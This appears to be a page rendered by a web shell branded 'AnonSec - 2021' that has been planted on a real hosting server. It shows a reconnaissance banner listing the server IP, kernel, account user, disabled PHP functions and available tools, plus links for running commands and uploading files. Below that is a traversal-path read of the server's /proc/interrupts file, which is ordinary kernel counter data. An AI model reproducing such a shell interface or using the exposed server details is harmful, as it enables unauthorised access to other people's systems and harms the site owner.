Gotcha!
Server IP : 162.241.5.139  /  Your IP : 216.73.217.5
Web Server : Apache
System : Linux server.vda.uxz.mybluehostin.me 5.14.0-687.59.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 21 06:02:14 EDT 2026 x86_64
User : dataincite ( 1006)
PHP Version : 8.2.35
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0555) :  /../../proc/138/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //../../proc/138/../interrupts
           CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
  1:          0          0          0          9          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC   1-edge      i8042
  4:          0          0          0          0          0          0          0          0          0          0          9          0          1         15          0          0   IO-APIC   4-edge      ttyS0
  8:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC   8-edge      rtc0
  9:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC   9-fasteoi   acpi
 10:          0          0          0          0          0          0          0     145932          0          0          0          0          0          0          2          0   IO-APIC  10-fasteoi   virtio4
 11:          0         40          0          0          0          0          0          0      23759          0          0          0          0          0          0          0   IO-APIC  11-fasteoi   virtio5, uhci_hcd:usb1
 12:          0          0         15          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC  12-edge      i8042
 14:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC  14-edge      ata_piix
 15:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC  15-edge      ata_piix
 24:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:05.0   0-edge      virtio3-config
 25:          0          0          0          0          0          0         15          0          0         11          0          0          0          0          0          0  PCI-MSIX-0000:00:05.0   1-edge      virtio3-virtqueues
 26:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:04.0   0-edge      virtio2-config
 27:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:04.0   1-edge      virtio2-control
 28:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.0   0-edge      virtio1-config
 29:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:04.0   2-edge      virtio2-event
 30:     151216     122966      72293     272322     130088     318768      91472     128672     186881     141821     283920     239199     294230      34590     385699      77232  PCI-MSIX-0000:00:03.0   1-edge      virtio1-input.0
 31:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   20789905  PCI-MSIX-0000:00:04.0   3-edge      virtio2-request
 32:     444901     376326     168271     827492     160449     888279     164983     217841     486054     418815     678970     391157     434067      32249     712011     238335  PCI-MSIX-0000:00:03.0   2-edge      virtio1-output.0
 33:      62816    1322053     159738     584562     201789     927113     295295     266112     541466     305456     613918     418466     626456     132375     735840     112722  PCI-MSIX-0000:00:03.0   3-edge      virtio1-input.1
 34:     228369    5948856     103333    1498541     568523    2462280    1439393     450761     914059    1018737    1262588     638984    1520387     223765    1611950     159417  PCI-MSIX-0000:00:03.0   4-edge      virtio1-output.1
 35:     154399     169198     188659     297757     109213     445973     175211     152993     264655     199283     329867     226602     353659      67086     365581     113974  PCI-MSIX-0000:00:03.0   5-edge      virtio1-input.2
 36:     151745     425015    1116752     772925     349578     980505     257010     739039     880344     417718     836823     918132     878983      86237     975625     280146  PCI-MSIX-0000:00:03.0   6-edge      virtio1-output.2
 37:     281515     740602     177091    3621320     292673    1527482     253696     336342     644834     462135     699201     509911     999999     462102    1235690     155331  PCI-MSIX-0000:00:03.0   7-edge      virtio1-input.3
 38:    2056920    1016500     290719   14356731     994844    2604706     835770     602926     989431     641337    1584749     954813    1112470     425902    2088902     695433  PCI-MSIX-0000:00:03.0   8-edge      virtio1-output.3
 39:     161468     189683     221587     316407     368309     390375     147411     175234     247062     188939     310394     220518     345148      70577     348840     103022  PCI-MSIX-0000:00:03.0   9-edge      virtio1-input.4
 40:      50333     619583     120639     948808    2379846    1153906     792301     754342     548267     514363     711588     455094     756763     115262     872773     175469  PCI-MSIX-0000:00:03.0  10-edge      virtio1-output.4
 41:     162207     948374     485556    2019494     337988    5844515     371955     513771     628179     439081     883383     622981     855630     230993    1505517      58746  PCI-MSIX-0000:00:03.0  11-edge      virtio1-input.5
 42:    1492315    2025006     329760    4020830     862176   20539079     630656     335978     976282    1132973    1481732     733078    1709213     170080    2482531     180649  PCI-MSIX-0000:00:03.0  12-edge      virtio1-output.5
 43:          0    8466016          0   26739618          0   43225871       1149          0    9337690    5662540          0          0    3044506          0   38977160   87313527  PCI-MSIX-0000:00:03.0  13-edge      virtio1-input.6
 44:     186865     570438     204455    1028572    1684926    1185547    1680661     360491     650622     477506     844898     688852     751402     100429    1186010     245313  PCI-MSIX-0000:00:03.0  14-edge      virtio1-output.6
 45:     130621     207048      79128     356657     113215     523033     178160     531147     316821     235472     446025     257618     390954     107400     481286     147735  PCI-MSIX-0000:00:03.0  15-edge      virtio1-input.7
 46:     382822     601915     215577     975974     249667    1183166     676905    1509911     823447     449165     718913     600307     917890     130951     999220     415431  PCI-MSIX-0000:00:03.0  16-edge      virtio1-output.7
 47:     148546     388438     172999     551812     204870     751865     235871     358368    1658888     387442     540907     337846     527183     144888     632118     116608  PCI-MSIX-0000:00:03.0  17-edge      virtio1-input.8
 48:     297614     802173    1276256    1251231     304075    1522904     542494     571568    4448503     645102     875898     619674    1452007     234521    1384240     545915  PCI-MSIX-0000:00:03.0  18-edge      virtio1-output.8
 49:     124482     218170      76516     374166     233426     547486     199540     189447     330470     853147     432491     262303     465872      79521     483939     113357  PCI-MSIX-0000:00:03.0  19-edge      virtio1-input.9
 50:     810083     655044     286325     847239     468024    1307488     429031     530845     802533    1633257     884877     593633     889481     223015     988629     426580  PCI-MSIX-0000:00:03.0  20-edge      virtio1-output.9
 51:     209719     431048     283926     675866     182716     903174     283384     352898     526623     390700    2698356     471223     668235     208904     662172     221895  PCI-MSIX-0000:00:03.0  21-edge      virtio1-input.10
 52:     647520    1202910     926042    1375528     587464    2062248     698315     518849     720339     704261    7712306     877794    1452877      96397    1594695     544300  PCI-MSIX-0000:00:03.0  22-edge      virtio1-output.10
 53:     453238     253675     143763     396785     150391     526028     275902     263782     387464     217839     453493     989568     464657     153303     390346     144843  PCI-MSIX-0000:00:03.0  23-edge      virtio1-input.11
 54:     147094     622579     138649    1180229     545199    1425042     351321     371742     735380     646266     884042    3232903     843672     250887    1215559     504967  PCI-MSIX-0000:00:03.0  24-edge      virtio1-output.11
 55:      89421     631982     302969     829469     275698     973857     297615     392334     563640     336649     746199     522025    2494937     140533     849428     378583  PCI-MSIX-0000:00:03.0  25-edge      virtio1-input.12
 56:       4861    1346968     103211    1685197     417908    2037765     787555    1194787    1528500     946261    1655453     848621    6048333     466723    1670918     127772  PCI-MSIX-0000:00:03.0  26-edge      virtio1-output.12
 57:      68462     112010      57242     252201      73596     311903     129729     179113     210563     135236     270181     183896     256431     283719     255854      82252  PCI-MSIX-0000:00:03.0  27-edge      virtio1-input.13
 58:      87816     190302     111980     418115     208418     379987     256407     238492     379519     327472     423494     322286     383127    2499798     397759     203496  PCI-MSIX-0000:00:03.0  28-edge      virtio1-output.13
 59:     395747     707820     489599    1043670     268209    1188625     325248     598537     816254     440841     805715     548580     799135     168325    3856427     245860  PCI-MSIX-0000:00:03.0  29-edge      virtio1-input.14
 60:     305065    1719799     165596    2373481     742193    2542215    1578804     952935     964752     914063    1347914     628454    1478762     285153   14710514     552744  PCI-MSIX-0000:00:03.0  30-edge      virtio1-output.14
 61:      29846     188129      86551     330673     123584     423596     203045     132487     274322     173529     369754     295128     356717     181410     369966     355914  PCI-MSIX-0000:00:03.0  31-edge      virtio1-input.15
 62:     181960     382078     202295     602835     324068     710850     287157     232839     456693     471566     513146     449918     569949     723509     808159     975031  PCI-MSIX-0000:00:03.0  32-edge      virtio1-output.15
 63:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.0   0-edge      virtio0-config
 64:     789984     114964     617136     120620     461265     114634     466510     291453     397284     227955     320553     231127     246069    2636589     162787     226836  PCI-MSIX-0000:00:02.0   1-edge      virtio0-control
 65:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.0   2-edge      virtio0-cursor
NMI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Non-maskable interrupts
LOC:   83914296  183235421  125365826  196897164  100642574  240016653  104705479   90933017  124923761  107825680   88187148   91485850  200892409   79772398  220851726  344911054   Local timer interrupts
SPU:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Spurious interrupts
PMI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Performance monitoring interrupts
IWI:      28621      42168      26483      78274      25117     126385      29411      33523      52915      38570      65057      46607      54477      14422      84019      34012   IRQ work interrupts
RTR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   APIC ICR read retries
RES:    1497941    1817694    1797733    1630430    1668187    1488577    1585294    1551308    1473727    1485379    1448142    1420547    1396093    1460210    1410279    1412939   Rescheduling interrupts
CAL:   74756932   84197359   68883422   55285284   52061925   48013834   47315480   45730711   46380797   44499147   42809043   44204655   51180619   43884267   43503117   44112081   Function call interrupts
TLB:    2363489    2628457    2583562    2545531    2539884    2493346    2526384    2454520    2452227    2409608    2385765    2370739    2360992    2351106    2318401    2355031   TLB shootdowns
TRM:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Thermal event interrupts
THR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Threshold APIC interrupts
DFR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Deferred Error APIC interrupts
MCE:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Machine check exceptions
MCP:       4454       4454       4454       4454       4454       4454       4454       4454       4454       4454       4454       4454       4454       4454       4454       4454   Machine check polls
ERR:          0
MIS:          0
PIN:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt notification event
NPI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Nested posted-interrupt event
PIW:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt wakeup event

AnonSec - 2021